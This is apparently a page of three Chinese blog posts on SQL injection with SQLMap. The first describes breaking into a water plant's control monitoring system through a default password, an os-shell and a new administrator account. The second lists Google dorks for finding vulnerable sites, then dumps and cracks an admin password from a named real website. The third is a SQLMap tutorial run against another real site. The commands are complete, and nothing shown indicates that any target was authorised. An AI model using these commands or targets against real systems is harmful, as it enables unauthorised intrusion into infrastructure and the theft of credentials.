about 3 results (0.02 seconds)

记一次对内蒙古某市某水厂监控系统的渗透测试过程

by LauCyun Sep 29,2018 15:52:45 23,713 views

最近,在协助内蒙某院收集内蒙全境的工控设备信息,在一次收集的时候,发现某市某水厂的监控系统存在弱口令问题,从而展开本次的渗透测试工作。

本文将介绍如何利用SQL注入点拿到服务器的Shell,然后通过远程桌面远程进入服务器的渗透过程。

0x0 背景

目标:http://*.*.*.*:8080(防止被他人利用,打上万恶的马赛克Face with Stuck-Out Tongue and Closed EyesFace with Hand over Mouth

通过程序自动挖掘发现http://*.*.*.*:8080存在弱口令,如图1所示:


图1 登录界面

用户名是admin,密码也是admin

进入系统后,可以直观的看到该水厂的水源井、水厂的工作现场运行状态,如图2、图3所示:


图2 水源井的模拟现场


图3 水厂的模拟现场

也可以看到仪表、GPRS、PLC等设备信息及通讯通道信息。。。如图4所示:


图4 通讯通道信息

好了,开始我们的正题吧,随便点击就发现一个疑似SQL注入点,如下所示:

http://*.*.*.*:8080/map/mapshow1.aspx?id=1

0x1 验证SQL注入点

接着,使用SQLMap对疑似注入点进行测试,输入如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd"


图5 SQL注入点

测试完毕后,如图5所示,SQLMap提示GET中的id参数存在注入,并且有4种注入方式,分别是基于布尔的盲注(boolean-based blind)、基于报错注入(error-based)、堆查询注入(stacked queries)和联合查询注入(UNION query)。

同时也得知以下信息:

数据库版本:Microsoft SQL Server 2008

中间件版本:Microsoft IIS 7.5

服务器版本:Windows 2008 R2 or 7

生产环境:ASP.NET, ASP.NET 2.0.50727

0x2 列举数据库

如图5所示,SQLMap验证了该SQL注入点确实存在,那么我们先列出所有的数据库,运行如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd" --dbs

如图6所示,共有7个数据库,其中mastermodeltempdbmsdb是SQL Server的默认数据库。


图6 有效的数据库

通过--current-db也确认了数据库TSLL2016是我们感兴趣的点。。。

接着,需要知道数据库TSLL2016中都有哪些表,为了弄清这些信息,运行如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd" -D TSLL2016 --tables

发现这个数据库有43张表,如图7所示:


图7 数据库表

显而易见,有用的地方主要在表S_User中,这张表中可能包含着数据库的用户名和密码之类的信息。。。

但是,读取数据库TSLL2016中表S_User的数据后,并没啥用SkullSkullSkull

0x3 Get Shell

首先,确定一下当前用户是否是DBA权限,运行如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd" -D TSLL2016 --is-dba

Victory HandHundred Points当前用户是DBA权限,运行结果如图8所示:


图8 判断是否为DBA

接下来,运行如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd" -D TSLL2016 --os-shell

如图9所示:


图9 运行os-shell

本来想往服务器写入shell,但是写入失败了。。。

接着,尝试着新建用户,如图10所示:


图10 新建用户并提权

哈哈哈。。。说明该数据库运行的权限非常大啊。。。连创建用户和提权至administrators权限都一气呵成Cat Face with Tears of JoyCat Face with Tears of JoyCat Face with Tears of Joy

接着,查询远程桌面服务是否开启,结果它已开启。

如果未开启可参考:实现Windows系统(非服务器版)多用户登录远程桌面的方案

通过nmap也可验证,3389端口是否可达,如图11所示:


图11 开放端口情况

然后通过远程桌面,连接到服务器上,如图12所示:


图12 远程桌面

擦,难怪写入shell失败啊,原来是装了电脑管家啊Broken HeartBroken HeartBroken Heart

好吧,渗透就到这为止吧,写我的渗透报告去了,同时祝大家国庆节快乐Red HeartRed HeartRed Heart

下回再见,拜拜Waving HandWaving HandWaving Hand

0x4 参考

...

Tags Read More..


使用SQLMap对网站和数据库进行SQL注入攻击

by LauCyun Jan 23,2017 22:55:38 18,566 views

之前在wooyun、freebuf上看了一些关于SQLMap的文章,受益匪浅,为此分享一个实战过程。

本文我将向介绍如何借助SQLMap来渗透一个网站(更准确的说应该是数据库),以及提取出用户名和密码信息。

0x1 定位注入的网站

通常这是最枯燥、最耗时的一步,如果你已经知道如何使用Google Dorks(Google dorks sql insection:谷歌傻瓜式SQL注入)或许会有些头绪,但是假如你还没有整理过用于Google搜索的那些字符串的话,可以考虑复制下面的条目,等待谷歌的搜索结果。

1 利用Google Dorks字符串找到可注入的网站

这个列表很长,如果你也懂得SQL,那么你也可以添加新的条目。

Google Dork Google Dork Google Dork
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in= inurl:gallery.php?id=
inurl:trainers.php?id= inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id= inurl:labels.php?id= inurl:view_faq.php?id=
inurl:news_display.php?getid= inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option= inurl:look.php?ID= inurl:detail.php?ID=
inurl:readnews.php?id= inurl:newsone.php?id= inurl:index.php?=
inurl:top10.php?cat= inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id= inurl:material.php?id= inurl:category.php?id=
inurl:event.php?id= inurl:opinions.php?id= inurl:publications.php?id=
inurl:product-item.php?id= inurl:announce.php?id= inurl:fellows.php?id=
inurl:sql.php?id= inurl:rub.php?idr= inurl:downloads_info.php?id=
inurl:index.php?catid= inurl:galeri_info.php?l= inurl:prod_info.php?id=
inurl:news.php?catid= inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id= inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id= inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id= inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id= inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category= inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID= inurl:art.php?idm= inurl:ray.php?id=
inurl:play_old.php?id= inurl:title.php?id= inurl:produit.php?id=
inurl:declaration_more.php?decl_id= inurl:news_view.php?id= inurl:pop.php?id=
inurl:pageid= inurl:select_biblio.php?id= inurl:shopping.php?id=
inurl:games.php?id= inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file= inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id= inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id= inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id= inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id= inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id= inurl:kategorie.php4?id= inurl:theme.php?id=
inurl:newsitem.php?num= inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id= inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat= inurl:faq2.php?id= inurl:tradeCategory.php?id=
inurl:historialeer.php?num= inurl:show_an.php?id= inurl:product_ranges_view.php?ID=
inurl:reagir.php?num= inurl:preview.php?id= inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num= inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num= inurl:opinions.php?id= inurl:channel_id=
inurl:game.php?id= inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id= inurl:pages.php?id= inurl:preview.php?id=
inurl:newsone.php?id= inurl:announce.php?id= inurl:loadpsb.php?id=
inurl:sw_comment.php?id= inurl:clanek.php4?id= inurl:pages.php?id=
inurl:news.php?id= inurl:participant.php?id=  
inurl:avd_start.php?avd= inurl:download.php?id=  
inurl:event.php?id= inurl:main.php?id=  
inurl:product-item.php?id= inurl:review.php?id=  
inurl:sql.php?id= inurl:chappies.php?id=  
inurl:material.php?id= inurl:read.php?id=  
inurl:clanek.php4?id= inurl:prod_detail.php?id=  
inurl:announce.php?id= inurl:viewphoto.php?id=  
inurl:chappies.php?id= inurl:article.php?id=  
inurl:read.php?id= inurl:person.php?id=  
inurl:viewapp.php?id= inurl:productinfo.php?id=  
inurl:viewphoto.php?id= inurl:showimg.php?id=  
inurl:rub.php?idr= inurl:view.php?id=  
inurl:galeri_info.php?l= inurl:website.php?id=  

除了Google之外,还可以借助ShodanZoomEye等网络空间搜索引擎。

2 初始验证网站是否可以进行SQL注入

上面的字符串搜索之后,也许会得到成百上千的结果,那么如何判断这些网站是否可以进行SQLMap的注入呢?有很多种方法,我相信大家会争论哪种才是最好的,但是对我而言下面的方法是最简单和最有效的。

我们假设你使用了字符串:inurl:item_id=,然后其中一个结果的网站是:

http://www.dmcsee.org/en/countries/?item_id=5

在后面添加添加一个单引号’之后,URL成为了:

http://www.dmcsee.org/en/countries/?item_id=5'

如果页面返回一个SQL错误,说明页面存在SQL注入点;如果页面加载正常显示或者重定向到一个不同的页面,跳过这个网站,用同样的方法去测试下一个网站吧!

PS:现在比较多的可以使用’and 1=1’、’and 1=0’、‘or 1=1’、‘or 1=0’等测试注入点的存在。

如图1所示是手动测试时的SQL错误截图:


图1 手动测试注入点

不同的数据库返回的SQL错误或许会有不同,比如:

  • Microsoft SQL Server
    字符串 '1'' 后的引号不完整。
    '1'' 附近有语法错误。
    说明: 执行当前 Web 请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。 
    异常详细信息: System.Data.SqlClient.SqlException: 字符串 '1'' 后的引号不完整。
    '1'' 附近有语法错误。
    源错误: 
    执行当前 Web 请求期间生成了未处理的异常。可以使用下面的异常堆栈跟踪信息确定有关异常原因和发生位置的信息。
    
    Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
     
    [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1:
    Server Error in ‘/’ Application. Unclosed quotation mark before the character string ‘attack;’.
    
    Description: An unhanded exception occurred during the execution of the current web request. Please review the stack trace for more information about the error where it originated in the code.
    Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string ‘attack;’
  • MySQL
    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/myawesomestore.com/buystuff.php on line 12 Error: You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 12
  • Oracle
    java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208) Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated
  • PostgreSQL
    Query failed: ERROR: unterminated quoted string at or near “‘’’”

通过SQLMap测试完毕后,提示get方式的item_id参数存在注入,并且有两种注入方式:基于布尔的盲注(boolean-based blind)和基于时间的盲注(AND/OR time-based blind),如图2所示:


图2 SQLMap测试出的注入点

0x2 列出DBMS数据库

正如图1所示,找到了一个存在SQL注入点的网站,现在需要列出所有的数据库(有时这也称为枚举列数)。

运行下面的命令,参数是你找到的存在注入点的网址:

python sqlmap.py -u "http://www.dmcsee.org/en/countries/?item_id=5" --dbs

如图3所示,一共列举出2个库,其中的information_schema是几乎所有MySQL数据库默认的标准数据库,所以感兴趣的地方主要在dmcseems数据库上。


图3 枚举DBMS数据库

0x3 列出目标数据库的表

现在需要知道在数据库dmcseems中都有哪些表,为了弄清这些信息,我们使用下面的命令:

python sqlmap.py -u "http://www.dmcsee.org/en/countries/?item_id=5" -D dmcseems --tables

发现这个数据库有41张表:

[23:14:11] [INFO] fetching tables for database: 'dmcseems'
[23:14:11] [INFO] fetching number of tables for database 'dmcseems'
[23:14:11] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[23:14:11] [INFO] retrieved: 

[23:14:12] [WARNING] potential permission problems detected ('Permission denied')
41
[23:14:15] [INFO] retrieved: _cache
[23:14:35] [INFO] retrieved: _content_plugin
[23:15:15] [INFO] retrieved: _content_position
[23:15:38] [INFO] retrieved: _language
[23:16:10] [INFO] retrieved: _menu_type
[23:16:45] [INFO] retrieved: cm_field
[23:17:23] [INFO] retrieved: cm_field_privelege
[23:18:17] [INFO] retrieved: cm_field_type
[23:18:37] [INFO] retrieved: cm_field_validation
[23:19:20] [INFO] retrieved: cm_group
[23:19:37] [INFO] retrieved: cm_help
[23:19:54] [INFO] retrieved: cm_relation
[23:20:33] [INFO] retrieved: cm_table
[23:21:05] [INFO] retrieved: cm_table_privelege
[23:21:52] [INFO] retrieved: cm_user
[23:22:16] [INFO] retrieved: cm_user_related
[23:22:49] [INFO] retrieved: cm_view_log
[23:23:28] [INFO] retrieved: cm_workflow_data
[23:24:26] [INFO] retrieved: cm_workflow_step
[23:24:45] [INFO] retrieved: content
[23:25:03] [INFO] retrieved: content_translation
[23:25:45] [INFO] retrieved: dictionary
[23:26:23] [INFO] retrieved: dictionary_translation
[23:28:02] [INFO] retrieved: file
[23:28:29] [INFO] retrieved: file_translation
[23:31:54] [INFO] retrieved: item
[23:32:09] [INFO] retrieved: item_child
[23:32:31] [INFO] retrieved: item_child_translation
[23:33:22] [INFO] retrieved: item_group
[23:33:44] [INFO] retrieved: item_group_translation
[23:34:32] [INFO] retrieved: item_translation
[23:35:08] [INFO] retrieved: link
[23:35:31] [INFO] retrieved: links_mtm_menu
[23:36:05] [INFO] retrieved: menu
[23:36:22] [INFO] retrieved: menu_translation
[23:37:04] [INFO] retrieved: news
[23:37:15] [INFO] retrieved: news_translation
[23:37:58] [INFO] retrieved: picture
[23:38:31] [INFO] retrieved: site_users
[23:39:04] [INFO] retrieved: template
[23:39:30] [INFO] retrieved: template_translation

数据库dmcseems的所有数据库表如图4所示:


图4 列举目标数据库的表

显而易见,感兴趣的地方主要在表cm_user中,因为这张表中可能包含着数据库的用户名和密码。

0x4 列出指定数据库中指定表的列

现在需要列出数据库dmcseems中表cm_user的所有列,使用SQLMap进行这一步会非常简单,运行如下命令:

python sqlmap.py -u "http://www.dmcsee.org/en/countries/?item_id=5" -D dmcseems -T cm_user --columns

发现这张数据库表中有7个字段,如图5所示:


图5 列出数据库dmcseems中表cm_user的所有字段

哈哈!其中的usernameemailpassword字段就是要找的字段Star-StruckStar-StruckStar-Struck

0x5 读取指定数据库中指定表的列

接着,需要读取数据库dmcseems中表cm_userusernameemailpassword字段的值,运行如下命令:

python sqlmap.py -u "http://www.dmcsee.org/en/countries/?item_id=5" -D dmcseems -T cm_user -C "username,email,password" --dump 

发现数据库表cm_user中有2条记录,如图6所示:


图6 读取数据库dmcseems中表cm_user中的数据

虽然得到了password字段的值,但是密码却是HASH值,所以现在需要对其解密。

0x6 破解密码

先破解username字段的值是adminpassword字段的值是3364f247193f58a3551c995891b20353中的HASH值,首先应当判断HASH的类型。

在Kali Linux提供了可以用来鉴别HASH类型的工具,在终端输入如下命令:

hash-identifier

然后根据提示输入HASH值即可,结果如图7所示:


图7 识别HASH值类型
 

所以,3364f247193f58a3551c995891b20353是一个MD5加密后的密文。

接着,借助http://cmd5.com/对其进行破解,如图8所示:


图8 CMD5

现在得到了破解的密码:mju789,接下来就可以使用这个用户的身份登录啦Smiling Face with Heart-EyesSmiling Face with Heart-EyesSmiling Face with Heart-Eyes

如果http://cmd5.com/破解不了的话,可以通过hashcat对md5进行破解Clapping HandsClapping HandsClapping Hands

...

Tags Read More..


SQL注入之SQLMap从入门到放弃

by LauCyun Jan 10,2017 09:24:34 21,431 views

SQLMap 是一个开源的渗透测试工具,可以用来进行自动化检测,利用 SQL 注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

同时它也支持五种注入模式:

  1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
  2. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
  3. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
  4. 联合查询注入,可以使用 union 的情况下的注入;
  5. 堆查询注入,可以同时执行多条语句的执行时的注入。

本文将介绍如何熟练掌握 SQLMap 工具的使用来进行 SQL 注入漏洞的检测。

0x0 SQLMap 的安装

因为 SQLMap 是一款跨平台的工具,但它是基于 Python,所以电脑里要先安装 Python 环境(推荐安装 Python 2.7.*)。

官方网站:http://sqlmap.org/
下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master
演示视频:https://asciinema.org/a/46601
教程:http://www.youtube.com/user/inquisb/videos

对于不知道如何安装 Python 环境的小伙伴,可以参考以下文章:

安装完成后,输入命令python -Vpython --version检查一下其是否安装成功,如图1所示:


图1 Python版本信息

接着先下载 SQLMap 项目,输入如下命令:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

下载完成后在终端输入命令:python sqlmap.py -h,看是否返回了信息,如图2所示即正常运行。


图2 SQLMap

0x1 常用命令

通过 SQLMap 的 hh 命令你可以看到 SQLMap 里面的各种命令的介绍,下面我将介绍常用的命令。


图3 SQLMap高级帮助信息

至于详细的介绍可以参考:超详细SQLMap使用攻略及技巧分享

1 输出等级 v

v这个命令,在 SQLMap 里可以理解成是一共输出的信息,它的测试等级是非常多的,一共分了七个等级出来,这七个等级在测试的时候会在界面里返回不同的内容。

默认是 1,也可以在命令后指定-v 3就是等级 3 的输出。

0:只显示 Python 的 tracebacks 信息、错误信息 [ERROR] 和关键信息 [CRITICAL];
1:同时显示普通信息 [INFO] 和警告信息 [WARNING];
2:同时显示调试信息 [DEBUG];
3:同时显示注入使用的攻击荷载;
4:同时显示 HTTP 请求;
5:同时显示 HTTP 响应头;
6:同时显示 HTTP 响应体。

推荐大家在初学的时候指定为 3 等级,这样会给出 payload,方便于学习。

2 指定目标 U

使用参数-u–url指定一个 URL 作为目标,该参数后跟一个表示 URL 的字符串,还可以指定端口,如:

python sqlmap.py -u "www.example.com/user.php?id=1"
python sqlmap.py -url "www.example.com/user.php?id=1"

3 列库 dbs

在检测出了存在注入后,就要进行对数据库的列举,命令是--dbs

4 列表 tables

在列出了 Web 程序的库后,要根据这个库来列出表,命令是-D ‘库名’ --tables

5 列出表中字段 columns

得到了库和表之后,可以根据这个库表来列出表里的字段进行数据的读取,命令是-D ‘数据库名字’ -T ‘表的名字’ --columns

这样直接讲命令未免有些枯燥,我用一个 SQL 注入实例来进行讲解。

0x2 实战

实战目标:http://pt.srba.net.cn/rightinfo.php?id=25

首先,使用sqlmap -u进行把你怀疑存在注入的 URL 放进 SQLMap 里让它进行自动化的测试,如图4所示:


图4 指定目标 URL 进行测试

SQLMap 识别后端数据库为“MySQL”是否要继续进行测试,我这里输入了3,意味着提高测试等级为 3 级,测试等级 level 并不是我们前面所说的输出信息等级,后面会详细的讲。


图5 SQLMap 识别数据库后需选择测试等级

后面 SQLMap 开始测试数据库的版本号,并且问我需不需要进行联合字符的注入测试,我这里选了 yes。


图6 SQLMap测试结果

测试完毕后,SQLMap 提示 get 方式的 id 参数存在注入,并且有两种注入方式:基于布尔的盲注(boolean-based blind)和基于时间的注入(AND/OR time-based blind)

最后,得到的信息如下:

URL存在SQL注入,有基于布尔的盲注(boolean-based blind)和基于时间的注入(AND/OR time-based blind)两种。
数据库版本:MySQL >= 5.0.12。
中间件:Microsoft IIS 6.0
服务器版本:Windows 2003 or XP
生产环境:PHP 5.4.45, ASP.NET

获得了注入点之后,就可以进行对数据库的列举,如图7所示:


图7 列举数据库

这里一共列出来 4 个库,查看一下该 Web 程序所使用的数据库名。

使用命令: --current-db


图8 列举当前数据库

得到了这个应用程序使用的是ztbase库,接下来只要针对这个数据库进行操作就可以了。

这里使用的参数是-D DBName tables,其实它是用了字典的方式去尝试暴力列举它的表名。


图9 列举ztbase的数据库表

得出了五个表,接着可以去读取数据库表的内容。

图10  读取数据库表的内容

这个表是的数据比较多的,然后为了方便演示过程就直接对 id 进行读取,从图中可以看到,id 的内容均已被读出来,在这行命令的后面还可以加上--dump将结果保存下来。

其它表就不一一介绍了Raising Hands

另外还有几个常用的命令可以了解一下。

--users 列出所有的用户
--passwords 列出数据库用户账号和密码


图11 列举所有的用户

0x3 SQLMap其他命令

1 --level

刚开始在前面说了,--level算是一共注入测试等级,一共是五级,级别越高,检测的内容也就越多,检测级别大于等于 2 时会检测 cookie 是否有注入,检测级别大于等于 3 时会检测 User-Agent 和 Referer 是否有注入。

推荐使用 3 等级进行测试。

2 --os

--os是检测数据库版本信息的一个命令,但是 SQLMap 默认会自动去检测。

3  *指定注入点

SQLMap 可以区分一个 URL 里面的参数来进行注入点测试,但在遇到了一些做了伪静态的网页就无法自动识别了。

/admin/1/类似于这种,SQLMap 便无法进行注入测试,但它实际上可能是这样的: /admin.php?id=1

它只是把参数隐藏在了 URL 中,对于这种网页,直接在参数后加上一个星号即可。

python sqlmap.py -u "www.example.com/admin/1*"

星号之后,众生平等。

4 POST数据

使用参数:--data

在 URL 后跟上你要提交的 POST 数据,SQLMap 也会去自动测试。

python sqlmap.py -u "http://example.com/admin.php" --data="id=1&name=admin"

5 cookie

使用参数:--cookie

这种方式多半来进行 cookie 的注入检测,设置比较繁琐,也可以像我之前所说的直接设置测试等级为 3,会自动测试是否存在 cookie 注入。

python sqlmap.py -u "http://www.example.com/admin.php" --cookie "customerId=591edabaab5b52292042df8a"

6 从文件载入 HTTP 请求测试

使用参数:-r

可以可以理解抓个包下来,获取 HTTP 请求然后保存在文件里,然后让 SQLMap 自己去解析请求来进行注入测试。

可以从 burp suite 上抓包下来配合 SQLMap 进行联合使用。

7 Google搜索进行测试

使用参数:-g

SQLMap 会自动爬取谷歌上的搜索结果来进行注入,对带有 GET 参数的 URL 进行挨个测试,前提是你能够科学上网。

8 超时延迟

使用参数:--timeout

默认的超时时间是 30 秒,可以使用命令--timeout 31来进行修改,比如修改为 31 秒超时。

9 注入测试的脚本

使用参数:--tamper

SQLMap 是自带了一个脚本库的,内置的脚本库对 payload 进行了混淆,可能有些可以有效的规避防火墙规则。

在 SQLMap 的安装目录 tamper 文件夹内,脚本文件可以自己编写的。

这篇算是个很快速的入门过程,更加详细的内容请期待我针对 SQLMap 这款工具出的达人课内容。

0x4 参考

...

Tags Read More..